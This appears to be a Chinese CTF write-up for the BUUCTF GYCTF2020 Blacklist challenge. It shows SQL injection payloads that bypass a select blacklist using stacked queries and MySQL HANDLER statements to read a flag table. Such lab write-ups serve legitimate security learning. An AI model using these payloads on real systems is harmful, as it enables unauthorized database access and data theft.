题目

点开靶机，页面显示为

查看源码

没有其他线索

先提交1试一下

猜测是sql注入，先测试

同时注意到url

提交为3-1，发现页面回显为空白

可以判断为字符型注入

输入select，看是否存在回显

回显了黑名单限制的关键字

但是发现没有限制关键字show，通过堆叠注入查数据库名

构造payload

1';show databases;#

判断列数

构造payload

1' order by 3#

可得有2列

获取表名

构造payload

1';show tables;

查表内数据。猜测flag在FlagHere表中

构造payload

1'; show columns from FlagHere;#

这里猜测flag在flag列中，尝试获取内容，但select被限制，可以使用handler作为查询语句

它可以通过指定的索引去访问数据，但此语法不支持DML操作

构造payload

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  

得到flag

参考文章链接：

BUUCTF [GYCTF2020] Blacklist_buuctf [gyctf2020]blacklist-CSDN博客